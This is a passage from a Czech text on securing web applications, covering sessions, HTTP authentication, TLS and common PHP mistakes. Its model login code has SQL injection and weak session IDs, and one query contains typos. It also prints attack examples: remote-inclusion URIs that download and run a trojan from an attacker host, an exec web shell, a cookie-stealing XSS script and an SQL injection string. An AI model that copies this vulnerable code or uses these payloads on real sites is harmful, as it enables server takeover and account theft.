jeho uživatelského jména a hesla, bylo by proto vhodné zužitkovat informace, které o uživateli zjistíme
při prvním přihlášení, i během jeho dalšího pohybu po aplikaci.
V tuto chvíli, kdy jsme resignovali na řešení využívající utajení URI a přistoupili na řešení
využívající přihlášení uživatele, nutně potřebujeme, aby aplikace mohla již přihlášeného uživatele
rozpoznat. Toho lze nejsnáze dosáhnout použitím identifikátoru přihlášení – svým způsobem one-time
password14 – které bude předáváno z každé části aplikace dále. Jelikož identifikátor přihlášení by bylo
možno také odposlechnout, je vhodné doplnit jeho použití následujícími prvky:
•
kontrola IP adresy, ze které je uživatel připojen – přihlásí-li se uživatel z nějaké IP
adresy, lze předpokládat, že se tato nezmění během jeho práce (naopak v případě
útoku vetřelce by tento přistupoval pravděpodobně z jiné IP adresy).
•
omezený čas neaktivity uživatele – pokud uživatel nepodniknul po stanovenou dobu
žádnou akci v aplikaci, existuje riziko, že aplikaci opustil bez odhlášení – tedy že
k počítači se spuštěnou aplikací může přijít vetřelec a zneužít uživatelův účet. Je tedy
vhodné po nějaké době neaktivity uživatele odhlásit.
•
kontrola prohlížeče uživatele – mezi další neměnné informace v rámci jednoho
připojení lze započítat i použitý prohlížeč. Změní-li se prohlížeč, můžeme usuzovat na
útok vetřelce a tedy uživatele odhlásit. Nejde samozřejmě o žádnou formu ochrany,
která by byla dostačující samostatně – za prvé nelze vyloučit použití stejného
prohlížeče i na straně vetřelce a za druhé není technicky žádný problém identifikaci
prohlížeče podvrhnout.
•
kontrola stránky, ze které uživatel přišel – při pohybu v aplikaci zasílá prohlížeč také
informaci o URI, ze kterého uživatel přišel. Pokud tato informace schází, je možné
preventivně uživatele také odhlásit – i zde ale platí, že tuto informaci lze snadno
16
podvrhnout a proto jde spíše o ztížení, které může zamezit v přístupu méně zdatné
vetřelce.
Pro opakované ověřování budeme potřebovat ukládat o uživatelích více informací do databáze,
postačit nám může například takováto tabulka:
Příklad
CREATE TABLE uzivatele (
jmeno VARCHAR(25) PRIMARY KEY,
heslo VARCHAR(32),
sessionid VARCHAR(32),
poslednipristup INTEGER,
ipadresa VARCHAR(15))
Přibyl nám identifikátor připojení – sessionid (pro jedno připojení jednoho uživatele se používá
často anglický termín „session,“ česky překládané také jako „sezení“), dále čas posledního přístupu
a IP adresa použitá při přihlášení. Na kontrolu prohlížeče a předchozí stránky vzhledem možnosti
snadného podvrhu resignujeme. Proces přihlášení by mohl vypadat takto:
Příklad
<html>
<head></head>
<body>
<?php
if ($_REQUEST[akce]=="prihlasit") {
$pripojeni = pg_connect("dbname=nazev user=uzivateldatabaze
password=heslouzivatele");
if (!$pripojeni) die("Nepodarilo se pripojit k databazi.");
$hledaniuzivatele = pg_exec($pripojeni, "SELECT jmeno FROM uzivatele
WHERE jmeno='".$_REQUEST[jmeno]." ' AND heslo =
'".MD5($_REQUEST[heslo])."'");
if (pg_num_rows($hledaniuzivatele)!=1) die("Zadali jste spatne
uzivatelske jmeno ci heslo.");
$sessionid = MD5(Rand(1,32767));
$ulozenizmen = pg_exec($pripojeni, "UPDATE uzivatele SET
sessionid='$sessionid', poslednipristup=".Time().",
ipadresa='$_SERVER[REMOTE_ADDR]' WHERE jmeno='".$_REQUEST[jmeno]."'");
echo "<p><a href=\"./skript.php?sessionid=$sessionid\">odkaz na dalsi
stranku aplikace</a></p>\n";
}
?>
<form id="formular" action="./skript.php" method="post">
Jmeno: <input type="text" size="15" maxlength="20" name="jmeno">
Heslo: <input type="password" size="15" maxlength="20" name="heslo">
<input type="hidden" name="akce" value="prihlasit">
<input type="submit" value="vstoupit">
</form>
</body>
</html>
Po vyplnění a odeslání formuláře se skript připojí k databázi, kde ověří jméno a heslo
uživatele. V případě úspěchu se vygeneruje náhodné sessionid, které se uloží do databáze spolu
s aktuálním časem a IP adresou, ze které se uživatel přihlásil. Od této chvíle můžeme ověřovat
17
totožnost uživatele pomocí sessionid, předáme-li ho na další stránky. Na dalších stránkách můžeme
postupovat například takto:
Příklad
<html>
<head></head>
<body>
<?php
$casneaktivity = 60*60;
$pripojeni = pg_connect("dbname=nazev user=uzivateldatabaze
password=heslouzivatele");
if (!$pripojeni) die("Nepodarilo se pripojit k databazi.");
$overenisessionid = pg_exec($pripojeni, "SELECT jmeno FROM uzivatele WHERE
(sessionid='".$_REQUEST[sessionid]."') AND (lastaccess > ".(Time()$casneaktivity).") AND (ipadresa='$_SERVER[REMOTE_ADDR]')");
if (pg_num_rows($overenisessionid)!=1) die("Nepodarilo se identifikovat
uzivatele - mohlo dojit k vyprseni platnosti autentikace nebo zmene IP
adresy.");
$uzivatel = pg_fetch_array($overenisessionid, 0);
$ulozenizmen = pg_exec($pripojeni, "UPDATE uzivatele SET
poslednipristup=".Time()." WHERE sessionid='".$_REQUEST[sessionid]."'");
echo "<p>Prihlasen uzivatel: ".$uzivatel[jmeno]." - <a
href=\"./skript.php?sessionid=".$_REQUEST[sessionid]."\">odkaz na dalsi
stranku aplikace</a></p>\n";
?>
</body>
</html>
Hledáme tedy uživatele s daným sessionid, u kterého se shoduje IP adresa a kde uživatel není
neaktivní déle než hodinu. V případě úspěchu zaktualizujeme čas posledního přístupu, můžeme si
z proměnné $uzivatel také vypsat např. jméno uživatele. Na další stránky pokračujeme obdobným
způsobem.
Předávání identifikátoru přihlášení (sessionid) lze několika způsoby – můžeme je předávat
v URI (jako je uvedené v příkladu), přidávat do formulářů jako skrytou položku nebo využít cookies19.
Někteří uživatelé však cookies nepoužívají a mohou tedy s tímto způsobem mít problém.
V příkladech je vidět, jakým způsobem toto řešení obecně funguje. Například v PHP si však
můžeme práci ulehčit použitím vestavěných funkcí pro práci se sessions [7].
Přednosti
Hlavní přednost tohoto řešení již byla zmíněna v popisu – je jí možnost ověření uživatele
v dalších částech aplikace bez potřeby nutit ho opakovaně k zadávání hesla. Zbylé výhody najdeme
i u řešení 2.7.
Nedostatky a hrozby
K nedostatkům řešení 2.7 přidáváme další možnou bránu do systému – sessionid. Při
předvídatelném způsobu jeho generování tím vzniká možnost uhodnutí sessionid vetřelcem.
V opačném případě je stále možné odposlechnout jej během přenosu, v případě předávání v URI (jak
to bylo uvedeno v příkladech) pak navíc ještě možnost najít jej v log souborech, v případě předávání
v cookies je třeba pamatovat na nebezpečí tzv. XSS – cross-site scripting – tedy možnosti získání
cookie skriptem ze stránky vetřelce. Více viz 5.3. Nedostatky se lze snažit minimalizovat kontrolami IP
adresy a času neaktivity uživatele.
18
Vhodné aplikace
S využitím sessions je možné realizovat již drtivou většinu existujících webových aplikací, tedy
i těch, které vyžadují stálé přihlášení uživatele pro svou funkčnost. Může se jednat například o:
• diskusní fóra
• redakční systémy
• komunitní servery
• internetové portály
• aplikace zpřístupňující další služby – e-mail, rezervace v knihovnách
• aplikace s cílem umožnit každému uživateli uzpůsobit si ji na míru
2.9.
Zabezpečení na úrovni webového serveru
Popis
Chceme-li zpřístupnit uživatelům aplikace dokumenty, nesestávající se jen z HTML kódu,
narazíme na problém s jejich zabezpečením. Umístíme-li je do adresářové struktury aplikace na
webový server a následně odkaz na zabezpečenou stránku, může se stát podobně jako u řešení 2.1,
že URI dokumentu zjistí i vetřelec a dokument si bez dalších překážek stáhne.
Jedním z možných řešení je neodkazovat uživatele přímo na vlastní dokument, ale na zvláštní
skript, který nejprve ověří uživatele podle jeho identifikátoru připojení a teprve v případě úspěchu
pošle do prohlížeče URI vlastního dokumentu. Uživatel tedy přímo s URI nepřijde do styku a tím
trochu snižujeme možnost prozrazení – pro vetřelce však není velký problém si URI zjistit.
Dalším řešením je opět zvláštní skript, který nejprve ověří uživatele podle jeho identifikátoru
připojení a teprve v případě úspěchu pošle do prohlížeče obsah dokumentu. Zde můžeme narazit na
dva problémy:
• prohlížeč nabídne uživateli jako název souboru název skriptu, nepostaráme-li se o zaslání
správných HTTP hlaviček20
• u velmi velkých souborů můžeme narazit na problémy s příliš dlouhou dobou běhu skriptu
či nedostatkem paměti (podle nastavených limitů)
Existuje ještě další řešení, vhodné pro některá použití – tím je přenést ověřování totožnosti
uživatelů na úroveň webového serveru, tedy mimo webovou aplikaci. Jde o tzv. HTTP autentikaci [8].
Webový server si může zasláním HTTP hlavičky 401 vynutit zadání uživatelského jména
a hesla, na což prohlížeč uživatele zareaguje zobrazením výzvy k zadání jména a hesla. Webový server
přijatá data porovná se svou databází uživatelských jmen a hesel a v případě úspěšného ověření
uživateli dokument zašle.
Konkrétní možnosti regulace přístupu jsou závislé na zvoleném webovém serveru – v příkladu
je nastavení webového serveru Apache tak, jak by bylo možné nalézt jej v globálním konfiguračním
souboru serveru či v jeho lokální variantě (typicky nazývané .htaccess):
Příklad
AuthType Basic
AuthName "Zabezpecena aplikace 1"
AuthUserFile /usr/local/apache/passwd/passwords
Require valid-user
V tomto případě by bylo nutné vytvořit předem soubor passwords programem htpasswd, který
pro každého uživatele přidá do souboru řádku s jeho přihlašovacím jménem a zašifrovaným heslem.
19
Vyžádá-li si uživatel stránku takto zabezpečené aplikace, webový server mu zašle výzvu k zadání hesla
pro „Zabezpecena aplikace 1“ a po obdržení informací se pokusí vyhledat uživatele v souboru
passwords. Najde-li uživatele se správným heslem, přístup ke stránce či dokumentu umožní.
Při velkém počtu uživatelů však ověřování představuje značné zdržení a tak stejně jako u 2.7
by bylo vhodnější ukládat informace o uživatelích do relační databáze. Tuto možnost najdeme
u webového serveru Apache od verze 2.1 v modulu mod_authn_dbd [9].
Přednosti
Přenesením ověřování uživatelů na úroveň webového serveru zabezpečíme poměrně snadno
i další typy dokumentů, můžeme se také do značné míry zbavit starosti s ověřováním uživatelů ve
vlastní aplikaci.
Nedostatky a hrozby
Toto řešení může být výhodné pro ty aplikace, které se mohou smířit s následujícími
nevýhodami:
1. není možné příliš ovlivnit vzhled výzvy k přihlášení, např. dopsat tam další nápovědu
2. není snadné uživatele spolehlivě a elegantně odhlásit
3. heslo se typicky zasílá nešifrované, šifrované varianta této autentikace není široce
podporována všemi prohlížeči, zejména staršími
4. přihlašovací informace se zasílají pokaždé znovu (ačkoliv je prohlížeč vyžaduje od uživatele jen
poprvé), což zvyšuje riziko jejich zjištění vetřelcem
5. je znesnadněna další práce s přihlašováním uživatelů (zjištění času přihlášení, kontrola IP
adres atd.)
6. je potřeba mít možnost zasáhnout do konfigurace webového serveru
Vhodné aplikace
Zabezpečení aplikace na úrovni webového serveru může být vhodné pro aplikace podobného
rozsahu jako u 2.5 a dále aplikace, které chtějí jednoduše regulovat přístup k velkému množství
dokumentů.
Poznámka
Využít HTTP autentikace a vyhnout se tak například nutnosti vytvářet formuláře či řešit
sessions je možné i prostřednictvím PHP zasláním příslušných HTTP hlaviček, PHP zaslané přístupové
údaje uloží do proměnných, přístupných v aplikaci, takže je možné údaje následně ověřit. Více viz
[10].
2.10.
Další pokročilé formy zabezpečení
Popis
Zabezpečení uživatelským jménem a heslem může být v některých případech nedostačující.
Lze najít alespoň dva takovéto případy, kdy je třeba umožnit uživateli autentikovat se ještě další
cestou:
• bankovní a další aplikace, kde má oprávnění pro provedení operací zásadní důležitost
• situace, kdy uživatel zapomene své heslo
Shodou okolností v obou případech lze postupovat obdobně. Je žádoucí dopravit k uživateli
další cestou takzvané one-time password14 – jednorázové heslo, pomocí kterého se přihlásí. Jako další
cesta může sloužit nejčastěji SMS či e-mail.
20
Proces přihlášení pak může mít tento scénář:
1. uživatel na přihlašovací stránce zadá své uživatelské jméno a vyžádá si zaslání
jednorázového hesla (ať už kliknutím na odkaz „zapomněli jste své heslo?“ či regulérní
„zaslat heslo“ v aplikacích, kde je toto běžné)
2. uživatel obdrží jednorázové heslo v SMS nebo e-mailu
3. uživatel se přihlásí pomocí jednorázového hesla
U bankovních a podobných aplikací půjde pochopitelně o šifrované SMS, takže uživatel pro
přečtení bude muset zadat ještě své další heslo. E-maily lze zvolit pouze v důvěrně známém prostředí
– viz 4 – a za použití transparentního šifrování na celé trase přenosu – viz 3.
V e-mailu nemusíme již uvádět přímo text hesla, ale stačí zobrazit URI, ve kterém bude toto
heslo jako parametr, uživatel pak nemusí nic přepisovat a stačí mu pro přihlášení kliknout na URI.
Chceme-li tato řešení používat, potřebujeme mít pochopitelně předem k dispozici potřebné
údaje, tedy například při registraci uživatelů vyžadovat funkční e-mailovou adresu. U řešení
využívajících SMS či SMS šifrované a dešifrované pomocí SIM Tool Kitu21 náklady na realizaci
významně stoupají, potřeby mohou zahrnovat SMS bránu, vývoj aplikace pro mobilní telefony, dohodu
s mobilním operátorem aj.
Přednosti
Toto řešení nám umožňuje vyrovnat se i se situacemi, kde prosté heslo nelze z nějakého
důvodu použít.
Nedostatky a hrozby
Je nutná existence dalších komunikačních kanálů, které mohou být drahé.
Vhodné aplikace
Jak již bylo uvedeno, jde za prvé o aplikace s velkým důrazem na ověření oprávnění uživatelů,
zejména aplikací bankovních, za druhé pak o způsob jak se vyrovnat se zapomínáním hesel uživatelů
u jednodušších aplikací.
21
3. Transparentní šifrování
3.1.
Zabezpečení aplikací za pomoci šifrování
U všech řešení uvedených v kapitole 2 jsme naráželi na problém spojený s možností
odposlechu přenášených dat, zejména uživatelem zadávané přihlašovací údaje, URI a v něm obsažené
identifikace připojení či cookies. Několik úskalí jsme navíc dosud ani příliš neřešili:
• přenos informací z aplikace směrem k uživateli – výstupem z aplikace mohou být důvěrná
data, která je nutné udržet v tajnosti
• nezměnitelnost informací během přenosu – máme značný zájem na tom, aby data v obou
směrech dorazila na místo určení beze změny (příkaz k úhradě do banky a výpis
důvěrných údajů k uživateli)
• důvěryhodnost aplikace – uživatel potřebuje před odesláním svých důvěrných informací mít
jistotu, že aplikaci na určitém URI opravdu provozuje určitá fyzická či právnická osoba
Na tyto problémy reaguje kryptografie a v našem konkrétním případě pak protokol HTTPS22,
založený na TLS či jeho předchůdci SSL23.
3.2.
Fungování TLS
TLS je protokolem zajišťujícím bezpečnou komunikaci zejména v prostředí Internetu. Po
navázání spojení šifruje veškerá data posílaná mezi serverem a uživatelem tak, že vytvoří jakýsi tunel,
kterým veškerá komunikace prochází. Z hlediska komunikačních protokolů tak nepředstavuje téměř
žádnou změnu a podobně ani pro uživatele.
Uživatel naznačí svému programu, např. prohlížeči, že má zájem komunikovat s použitím TLS
šifrování, prohlížeč naváže se serverem šifrovanou komunikaci a zobrazí uživateli výsledek nijak se
nelišící vzhledem či ovládáním od nešifrované verze. Konkrétněji řečeno, uživateli se nezjevují žádné
další výzvy k zadání hesel, klíčů, přihlašovacích jmen. Přesto komunikuje rázem bezpečně.
Po připojení se programu k serveru si v našem případě prohlížeč a webový server sdělí, které
z různých šifer jsou schopni pro vzájemnou komunikaci používat a na některých se shodnou. Mohou si
navzájem vyžádat své certifikáty, viz dále. U webových aplikací se běžně vyžaduje certifikát serveru, je
ale možné využívat pro zabezpečení i certifikáty pro uživatele. Obě strany se dále dohodnou buď
s využitím certifikátů nebo jiným bezpečným způsobem na společném klíči, kterým budou šifrovat další
komunikaci za pomoci některé ze symetrických šifer. Po tomto úvodním představení mohou být
zasílána data, šifrovaná dohodnutým způsobem. Po doplnění zašifrovaných dat o jejich kontrolní hash,
např. MD57, mohou být data odeslána.
TLS funguje na základě asymetrických a symetrických šifer.
Asymetrická šifra je založena na existenci dvou klíčů (čísel):
• veřejný klíč je možné použít k zašifrování zprávy
• privátní klíč je možné použít k rozšifrování zprávy
Toho se využívá například ve zmíněných certifikátech. Certifikát by bylo možné přirovnat
k dokladu totožnosti. Vydává ho tzv. certifikační autorita – někdo, jehož totožnost je ověřena
dostatečně důvěryhodně. Součástí certifikátu je veřejný klíč. Během procesu navazování spojení nám
tedy server říká, že jeho provozovatelem je firma Abc, za což ručí certifikační autorita Cde, a že zprávy
pro něj můžeme šifrovat tímto jeho veřejným klíčem a nikdo jiný než on je nebude schopen
rozšifrovat. Máme-li svůj certifikát, můžeme mu obdobné informace zaslat také. Privátní klíč
pochopitelně drží všichni v tajnosti, aby si zprávy určené jim nemohl číst nikdo jiný.
22
Symetrické šifry naproti tomu komunikují za použití jediného stejného šifrovacího klíče, zato
však komunikují o poznání rychleji, proto se po úvodní fázi používají právě tyto.
Obtížnost prolomení obou typů šifer je obecně založena na výpočetní náročnosti některých
matematických operací s čísly velkých řádů, například rozkladu čísla na součin prvočísel.
3.3.
Shrnutí a využití
Možnost využití spolehlivého a pro uživatele transparentního šifrování vedla k využitelnosti
webových aplikací i v oblastech s nejvyššími nároky na zabezpečení – tedy v aplikacích zabývajících se
penězi a důvěrnými informacemi. Přináší do prostředí Internetu důvěryhodnost a nacházíme jej
v elektronických obchodech při platbách platebními kartami, u elektronického bankovnictví, aplikací
pracujícími s osobními údaji a vůbec všech aplikací, kde je větší šance, že by někomu mohly stát za
pokus o průnik.
Možná překvapivě není tato technologie ani příliš nákladná, je obsažena jak v programech
uživatelů – prohlížečích, tak ve webových a dalších serverech. Určité náklady může představovat
pořízení certifikátů, šifrovanou komunikaci však můžeme provozovat i bez nich, smíříme-li se my
i uživatelé s nemožností ověřit si jejich prostřednictvím důvěryhodnost serveru.
Zřejmě není třeba dodávat, že pro všechny metody uvedené v kapitole 2 představuje
transparentní šifrování obrovský přínos, jeho prostřednictvím se zejména z řešení 2.8 a 2.10 stávají
ideální a takřka nepřekonatelné způsoby zabezpečení.
23
4. Zabezpečení intranetových aplikací
4.1.
Specifické možnosti intranetu
Osoba s zamýšlející se nad možností zabezpečení webové aplikace v prostředí intranetu má
k dispozici ještě další možnosti, zejména ve třech oblastech:
• přístup do aplikace z konkrétních počítačů
• přizpůsobení programového vybavení počítačů v organizaci
• využití přihlašování uživatelů do lokální sítě organizace
4.2.
Přístup do aplikace z konkrétních počítačů
Známe-li topologii počítačové sítě a je-li vyloučeno získání jiné IP adresy, můžeme při přístupu
do aplikace kontrolovat navíc, zda se uživatel přihlašuje z určené IP adresy, pokud je to vhodné. Určité
operace tak bude moci provést například jen uživatel přihlášený z počítače v serverovně, od které má
klíče jen správce sítě.
4.3.
Přizpůsobení programového vybavení počítačů v organizaci
Návrhář zabezpečení webové aplikace, používané cílovou skupinou napříč uživateli Internetu,
musí zohledňovat poměrně velkou řadu omezení, se kterými se lze u různých uživatelů setkat.
Zastaralé prohlížeče mohou mít problémy s moderními šiframi. Uživatelé mohou používat
prohlížeče nepodporující JavaScript či ho vypínat. Všichni uživatelé nebudou mít nainstalován Flash ani
Java Virtual Machine.
V některých případech, je-li softwarové vybavení počítačů v organizaci všude stejné nebo
můžeme-li ho ovlivňovat, je možné navrhnout i takové zabezpečení, které by při nasazení na Internetu
vedlo ke znepřístupnění aplikace pro významnou část uživatelů.
Mimo jiné můžeme také nainstalovat uměle vytvořený certifikát naší vlastní certifikační
autority a přimět tak všechny počítače, aby jí důvěřovaly.
4.4.
Využití přihlašování uživatelů do lokální sítě organizace
Zvažuje-li organizace intranetovou aplikaci, s velkou pravděpodobností v ní funguje místní síť,
do které se uživatelé přihlašují nějakými údaji.
Nabízí se možnost využít těchto existujících přihlašovacích údajů i pro potřeby webové
aplikace. Můžeme pak využít i nejmodernějších technologií pro přihlašování – biometrických čteček24,
hardwarových klíčů aj.
24
5. Časté a nebezpečné chyby
5.1.
Kontrola obsahu proměnných
Pro programování webových aplikací jsou velmi často používány programovací jazyky, které
nevyžadují striktně inicializaci proměnných. Tyto jazyky se snaží být flexibilní a jednoduché, díky
čemuž v nich dokáží jednoduchou aplikaci brzy vytvořit i začátečníci s dostatkem úsilí.
Z této poměrně pozitivní vlastnosti však vyplývají i negativa – programátoři často podceňují
kontrolu parametrů aplikace, zejména těch, které uživatelé běžně neovlivňují. Zapomínají tak na to, že
uživatelé mohou ovlivnit všechny parametry předávané aplikaci – ať již jde o parametry v URI,
parametry z formulářů předávané přes POST či o cookies.
Změnou parametrů lze – samozřejmě v závislosti na konkrétní aplikaci – docílit výpisu jiných
údajů z databáze, získání přístupu k aplikaci a v některých případech i ohrozit bezpečnost webového
serveru.
Jako ukázkový odstrašující příklad může posloužit nezabezpečená technika, využívající jediný
skript pro zobrazování různého obsahu – různých stránek či rubrik. Právě zobrazovanou stránku si
předává v nějaké proměnné v URI: http://www.example.com/index.php?stranka=tajne.php, tedy
vlastní data stránky pak načítá např. v PHP funkcí include():
Příklad
<?php
if ($_REQUEST[stranka]!="") include ($_REQUEST[stranka]);
else echo "Uvodni stranka";
?>
Zadáním určitého URI lze v tomto případě donutit webový server ke spuštění PHP kódu
z jiného serveru:
http://www.example.com/index.php?stranka=http://www.server-vertrelce.cz/utok.txt
Je to možné kvůli standardně zapnuté konfigurační direktivě PHP URL_fopen_wrappers, která
umožňuje pro potřeby PHP funkcí otevírat i vzdálené soubory.
Nápravou v tomto i dalších případech je zkontrolovat obsah každé proměnné, zda obsahuje
jen takové hodnoty, které nenaruší běh aplikace. Je možné zkontrolovat to výčtem všech variant,
regulárními výrazy či jinak obdobně.
Kontrola je nutná, její vynechání může vést v lepším případě k nesmyslnému zobrazení
a v tom nejhorším až ke zveřejnění zabezpečovaných dat či narušení bezpečnosti celého serveru či
alespoň napadené aplikace – obsahem souboru utok.txt může být leccos:
Příklad
<?php
$soubor = fopen("./index.php", "r");
fpassthru($soubor);
?>
Tento kód by způsobil vypsání zdrojového kódu celé stránky index.php – vetřelec by si tedy
mohl přečíst, které další soubory vkládáme, jaké máme heslo do databáze – a postupovat stále dále
naší aplikací. Mohlo by to ale dopadnout také hůře – pokud bychom místo utok.txt zapsali PHP kód do
utok.php, abychom tak mohli předávat útočnému skriptu různé parametry, například:
Příklad
<?php echo "<?php echo exec(\"$_REQUEST[prikaz]\"); ?>"; ?>
25
Do prohlížeče by pak vetřelec mohl zadat tato URI:
http://www.example.com/index.php?stranka=http://www.serververtrelce.cz/utok.php?cmd=cd%20/var/tmp;wget%20http://www.server-vertrelce.cz/trojsky-kun
http://www.example.com/index.php?stranka=http://www.serververtrelce.cz/utok.php?cmd=cd%20/var/tmp;chmod%20777%20trojsky-kun
http://www.example.com/index.php?stranka=http://www.serververtrelce.cz/utok.php?cmd=cd%20/var/tmp;./trojsky-kun
Tím by nechal spustit na cílovém serveru funkci exec, která umí provést příkaz v operačním
systému – nejprve by si tedy stáhnul program, sloužící jako trojský kůň, kterému by pak změnil práva
tak, aby byl spustitelný a na závěr ho spustil. Tím by získal kontrolu nad celým serverem. Vše by se
dělo v dočasném adresáři /var/tmp, kam pravděpodobně bude mít právo zápisu kdokoliv.
Tento scénář samozřejmě může narazit na různé operační systémy a konfigurační direktivy,
zvláště při používání tzv. safe-mode v PHP – režimu, kdy potenciálně rizikové aktivity jsou silně
omezeny. Nicméně patří mezi úspěšné scénáře.
Další specifickou chybou bylo používání neinicializovaných proměnných se zapnutou
konfigurační direktivou PHP register_globals. Tato direktiva pro zjednodušení programování
„globalizuje“ celou řadu dalších proměnných, původně umístěných v polích. Mezi jinými tedy
z proměnné $_REQUEST[prihlaseny] vytvoří proměnnou $prihlaseny, což se může vymstít například
v takovémto kódu, obdobného k 2.5:
Příklad
<?php
if ($_REQUEST[heslo]=="tajneheslo") $prihlaseny = true;
if ($prihlaseny) echo "Zde jsou tajne informace.";
?>
Tajné informace se nám podaří zobrazit i bez přihlášení zadáním parametru do URI:
http://www.example.com/skript.php?prihlaseny=1
Bezpečnější je tedy mít tuto direktivu vypnutou a zamýšlet se při programování nad tím, zda
všechny proměnné, se kterými pracujeme, byly někde inicializovány – a nebo zda pocházejí od
uživatele a tudíž je ošetřit.
5.2.
SQL injection
Specifický případ problému s nekontrolováním uživatelského vstupu – parametrů aplikace – je
tzv. SQL injection. Týká se aplikací, které s některými uživatelskými vstupy pracují v SQL dotazech do
databáze – což je většina těch, které databáze vůbec používají.
Představme si tento dotaz, kde $_REQUEST[jmeno] je proměnná, zadaná uživatelem:
Příklad
<?php
$zobrazemail = pg_exec($pripojeni, "SELECT jmeno, email FROM uzivatele
WHERE jmeno = '$_REQUEST[jmeno]'");
?>
Pokud uživatel zadá do proměnné jméno hodnotu:
' OR 'a' = 'a
Výsledným dotazem, zaslaným do databáze, bude:
26
SELECT jmeno, email FROM uzivatele WHERE jmeno = '' OR 'a' = 'a'
Tomuto dotazu vyhoví díky poslední podmínce všechny záznamy a tedy budou také všechny
vypsány.
Kromě ovlivnění výpisu je podobně možné také ukončit prováděný dotaz a spustit další dotaz,
který například smaže celou databázi, nastaví jiné heslo administrátorovi databáze nebo přidá dalšího
uživatele pro vetřelce.
PHP se snaží programátorům problematiku ulehčit možností zapnutí direktivy
magic_quotes_gpc – ta pro všechny vstupy do aplikace (předané přes POST, GET či cookies)
automaticky vkládá zpětné lomítko před znaky uvozovek aj. To znemožňuje některé typy útoků,
nicméně ne všechny a stále tak platí, že je nutné kontrolovat všechny možné vstupy uživatelů
a obzvláště pak ty, se kterými chceme pracovat v databázi.
5.3.
Cross-site scripting
Součástí některých webových aplikací bývá prostor, který mohou uživatelé editovat – může jít
o diskusní fóra, osobní stránku uživatele, komentáře pod články atd. Z hlediska aplikace samotné se
budeme rozhodovat, zda povolíme uživatelům zadávat HTML kód či jen prostý text – zda jim HTML
k něčemu bude a jak vyřešíme riziko, že rozbijí strukturu a vzhled stránky špatným kódem.
Z hlediska zabezpečení však číhá hrozba ještě podstatnější – pomocí uživatelského HTML kódu
a potažmo JavaScriptu je možné v některých případech překonat zabezpečení aplikace. Je to nazýváno
cross-site scripting se zkratkou XSS. Týká se možnosti vložit do stránky kód, který ovlivní další
uživatele a může vést k získání kontroly nad jejich uživatelskými účty.
Předáváme-li si identifikátor připojení v URI a uživatelé mohou vkládat HTML kód do svých
příspěvků, mohou vložit také obrázek ze své stránky. Ostatním uživatelům se obrázek zobrazí, do log
souboru webového serveru vetřelce se však uloží i referer – tedy URI odkazující stránky – aplikace,
které obsahuje i identifikátor připojení (sessionid).
Za pomoci jednoduchého JavaScriptu, vloženého do příspěvku, je možné zjistit i obsah
cookies, předáváme-li identifikátor připojení v nich:
Příklad
<script>
new Image().src="http://www.vetrelec.com/zaznamenavame.php?cookie=" +
encodeURI(document.cookie);
</script>
V tomto případě se ani žádný obrázek nezobrazí, ale spustí se skript na webovém serveru
vetřelce, který zaznamená obsah cookies.
Vyplatí se tedy důkladně zvážit, zda uživatelé pro svoji činnosti HTML potřebují a případně
které jeho značky, JavaScript je vhodné zakázat ve všech případech.
5.4.
Umístění konfiguračních souborů
Zbytečnou chybou se může stát také umístění konfiguračního souboru tak, aby bylo možné
získat ho od webového serveru – ani zde nesmíme spoléhat na utajení URI:
http://www.example.com/includes/conf/tajna-hesla.txt
Soubory, které uživatelé nepotřebují získávat přímo, umístíme mimo kořenový adresář webu
nebo alespoň zakážeme jejich zobrazování v nastavení webového serveru. U konfiguračních souborů
PHP, které jen inicializují proměnné, postačuje pojmenovat je s koncovkou .php a ne jinak, aby se
v případě jejich zobrazení dostala k vetřelci jen prázdná stránka a ne jejich zdrojový kód.
27
6. Závěr
V několika kapitolách jsme prošli základní možnosti zabezpečení webových aplikací a témata
úzce související – využití šifrování, nasazení webové aplikace v prostředí intranetu a také několik úskalí
programování webových aplikací.
Věřím, že toto mé shrnutí tématu zabezpečení webových aplikací může být užitečný těm, kteří
se potřebují zorientovat v této problematice, aby dokázali zvolit vhodné prostředky. Snažil jsem se
popsat způsoby velmi jednoduché a dostat se až k možnostem vhodným pro aplikace s velkým
důrazem na zabezpečení – pro každou aplikaci je individuálně potřeba zvážit, kolik úsilí na straně
programátorů i uživatelů je vhodné zabezpečení věnovat. Důsledky narušení zabezpečení se mezi nimi
budou lišit diametrálně.
Popis uvedených možností neobsahuje kompletní detailní návody, jak konkrétní formu
zabezpečení zrealizovat – zaměřuje se na nastínění myšlenky a jejích pozitivních i negativních stránek.
Pro zabezpečení konkrétní aplikace je proto jistě vhodné prozkoumat vybranou metodu ještě hlouběji
v literatuře, zejména v textech na Internetu.
U zabezpečení konkrétní webové aplikace nelze než připomenout význam zabezpečení dalších
částí celého systému – u rozsáhlých aplikací se toto týká nastavení pravidel síťové komunikace
a firewallů, zabezpečení použitých operačních systémů a použitých aplikačních serverů – webových,
databázových, poštovních, systémů detekce narušení bezpečnosti. Podaří-li se vybudovat účinnou
barikádu, zabezpečující webovou aplikaci proti určitým typům útoků, stále to nestačí, je-li možné
barikádu bez obtíží obejít a dostat se k aplikaci jinudy.
Neboli na samý závěr – zabezpečení bude jen tak silné, jako nejslabší článek řetězu všech do
systému zapojených prvků.
28
7. Seznam použité literatury
[1]
Terminologický slovník ČSSI [databáze online]. Praha : Česká společnost pro systémovou
[2]
BERNERS-LEE, et al. Uniform Resource Identifier (URI): Generic Syntax. [online]. 2005
[cit. 2007-01-09]. Dostupné z WWW: <http://www.ietf.org/rfc/rfc3986.txt>
[3]
FLANAGAN, D. JavaScript. Kompletní průvodce. 1. vyd. Praha : Computer Press, 1998. 710 s.
ISBN 80-7226-093-6
[4]
SPAFFORD, E. Security Myths and Passwords. [online]. 2006 [cit. 2007-01-11]. Dostupné
z WWW: <http://www.cerias.purdue.edu/weblogs/spaf/general/post-30/>
[5]
KOSEK, J. PHP. Tvorba interaktivních internetových aplikací. 1. vyd. Praha : Grada, 1998. 492 s.
ISBN 80-7169-373-1.
[6]
RATSCHILLER, T., GERKEN, T. Web Application Development with PHP 4.0. 1. vyd.
Indianapolis : New Riders, 2000. 384 s. ISBN 0-7357-0997-1
[7]
The PHP Group: PHP Manual. [online]. 2007 [cit. 2007-01-11]. Dostupné z WWW:
<http://www.php.net/manual/en/ref.session.php>
[8]
FRANKS, et al.: HTTP Authentication: Basic and Digest Access Authentication. [online]. 1999
[cit. 2007-01-09]. Dostupné z WWW: <http://www.ietf.org/rfc/rfc2617.txt>
[9]
